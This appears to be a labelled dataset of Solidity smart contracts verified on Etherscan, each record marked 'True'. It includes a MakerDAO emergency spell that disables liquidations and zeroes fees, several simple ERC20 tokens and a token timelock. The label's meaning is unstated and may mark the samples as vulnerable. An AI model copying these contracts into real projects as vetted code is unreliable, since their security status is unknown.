uint256 constant RAD = 10**45;
uint256 constant MLN = 10**6;
uint256 constant BLN = 10**9;
function execute() external {
address MCD_VAT = CHANGELOG.getAddress("MCD_VAT");
address MCD_JUG = CHANGELOG.getAddress("MCD_JUG");
address MCD_POT = CHANGELOG.getAddress("MCD_POT");
address ILK_REGISTRY = CHANGELOG.getAddress("ILK_REGISTRY");
uint256 totalLine = 0;
// MCD Modifications
// Ensure we drip pot prior to modifications (housekeeping).
//
PotAbstract(MCD_POT).drip();
// Set the Dai Savings Rate
// DSR_RATE is a value determined by the rate accumulator calculation
// ex. an 8% annual rate will be 1000000002440418608258400030
//
PotAbstract(MCD_POT).file("dsr", ZERO_PCT_RATE);
// Loop over all ilks
//
IlkRegistryAbstract registry = IlkRegistryAbstract(ILK_REGISTRY);
bytes32[] memory ilks = registry.list();
for (uint i = 0; i < ilks.length; i++) {
// skip the rest of the loop for the following ilks:
//
if (ilks[i] == "USDC-B") {
continue;
}
// Always drip the ilk prior to modifications (housekeeping)
//
JugAbstract(MCD_JUG).drip(ilks[i]);
// Set the ilk stability fee
//
JugAbstract(MCD_JUG).file(ilks[i], "duty", ZERO_PCT_RATE);
// Keep a running total of all ilk Debt Ceilings
//
(,,, uint256 ilkLine,) = VatAbstract(MCD_VAT).ilks(ilks[i]);
totalLine += ilkLine;
}
// Set the USDC-B debt ceiling
// USDC_B_LINE is the number of Dai that can be created with USDC token
// collateral.
// ex. a 60 million Dai USDC-B ceiling will be USDC_B_LINE = 60000000
//
// New Line: +50m
(,,, uint256 ilkLine,) = VatAbstract(MCD_VAT).ilks("USDC-B");
uint256 USDC_B_LINE = ilkLine + (50 * MLN * RAD);
VatAbstract(MCD_VAT).file("USDC-B", "line", USDC_B_LINE);
totalLine += USDC_B_LINE;
// Set the Global Debt Ceiling to the sum of all ilk line
//
VatAbstract(MCD_VAT).file("Line", totalLine);
}
}
contract DssSpell {
// This address should correspond to the latest MCD Chainlog contract; verify
// against the current release list at:
// https://changelog.makerdao.com/releases/mainnet/active/contracts.json
ChainlogAbstract constant CHANGELOG =
ChainlogAbstract(0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F);
DSPauseAbstract public pause;
address public action;
bytes32 public tag;
uint256 public eta;
bytes public sig;
uint256 public expiration;
bool public done;
uint256 constant T2021_07_01_1200UTC = 1625140800;
// Provides a descriptive tag for bot consumption
string constant public description = "DEFCON-1 Emergency Spell";
constructor() public {
address MCD_PAUSE = CHANGELOG.getAddress("MCD_PAUSE");
sig = abi.encodeWithSignature("execute()");
action = address(new SpellAction());
bytes32 _tag;
address _action = action;
assembly { _tag := extcodehash(_action) }
tag = _tag;
pause = DSPauseAbstract(MCD_PAUSE);
expiration = T2021_07_01_1200UTC;
}
function schedule() public {
require(now <= expiration, "This contract has expired");
require(eta == 0, "This spell has already been scheduled");
address ILK_REGISTRY = CHANGELOG.getAddress("ILK_REGISTRY");
address FLIPPER_MOM = CHANGELOG.getAddress("FLIPPER_MOM");
eta = now + pause.delay();
pause.plot(action, tag, sig, eta);
// Loop over all ilks
//
IlkRegistryAbstract registry = IlkRegistryAbstract(ILK_REGISTRY);
bytes32[] memory ilks = registry.list();
for (uint i = 0; i < ilks.length; i++) {
// Disable all collateral liquidations
//
// This change will prevent liquidations across all collateral types
// and is colloquially referred to as the circuit breaker.
//
if (FlipAbstract(registry.flip(ilks[i])).wards(FLIPPER_MOM) == 1) {
FlipperMomAbstract(FLIPPER_MOM).deny(registry.flip(ilks[i]));
}
}
}
function cast() public {
require(!done, "spell-already-cast");
done = true;
pause.exec(action, tag, sig, eta);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-03-26
*/
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
// silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor ()public {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//Contract
contract Passive_Income_Bot is ERC20("Passive Income Bot", "PIB"), Ownable {
uint256 private _total = 1700000;
constructor () public {
// mint initial tokens
_mint(msg.sender, _total.mul(10 ** 18));
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-04-08
*/
pragma solidity ^0.5.0;
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
//
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Safe Math Library
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0);
c = a / b;
}
}
contract Alcanium is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor() public {
name = "Alcanium";
symbol = "ALC";
decimals = 18;
_totalSupply = 100000000000000000000000000;
balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | True | [
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] |
pragma solidity ^0.4.20;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is Ownable {
address public pendingOwner;
/**
* @dev Modifier throws if called by any account other than the pendingOwner.
*/
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
/**
* @dev Allows the current owner to set the pendingOwner address.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
/**
* @title TokenTimelock
* @dev TokenTimelock is a token holder contract that will allow a
* beneficiary to extract the tokens after a given release time
*/
contract TokenTimelock is Claimable {
using SafeERC20 for ERC20Basic;
using SafeMath for uint256;
// ERC20 basic token contract being held
ERC20Basic public token;
// tokens deposited.
uint256 public tokenBalance;
// beneficiary of tokens after they are released
mapping (address => uint256) public beneficiaryMap;
// timestamp when token release is enabled
uint256 public releaseTime;
function TokenTimelock(ERC20Basic _token, uint256 _releaseTime) public {
require(_releaseTime > now);
token = _token;
releaseTime = _releaseTime;
}
function isAvailable() public view returns (bool){
if(now >= releaseTime){
return true;
} else {
return false;
}
}
/**
* @param _beneficiary address to lock tokens
* @param _amount number of tokens
*/
function depositTokens(address _beneficiary, uint256 _amount)
public
onlyOwner
{
// Confirm tokens transfered
require(tokenBalance.add(_amount) == token.balanceOf(this));
tokenBalance = tokenBalance.add(_amount);
// Increment total tokens owed.
beneficiaryMap[_beneficiary] = beneficiaryMap[_beneficiary].add(_amount);
}
/**
* @notice Transfers tokens held by timelock to beneficiary.
*/
function release() public {
require(now >= releaseTime);
// Get tokens owed, then set to 0 before proceeding.
uint256 amount = beneficiaryMap[msg.sender];
beneficiaryMap[msg.sender] = 0;
// Proceed only of there are tokens to send.
require(amount > 0 && token.balanceOf(this) > 0);
token.safeTransfer(msg.sender, amount);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-21
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
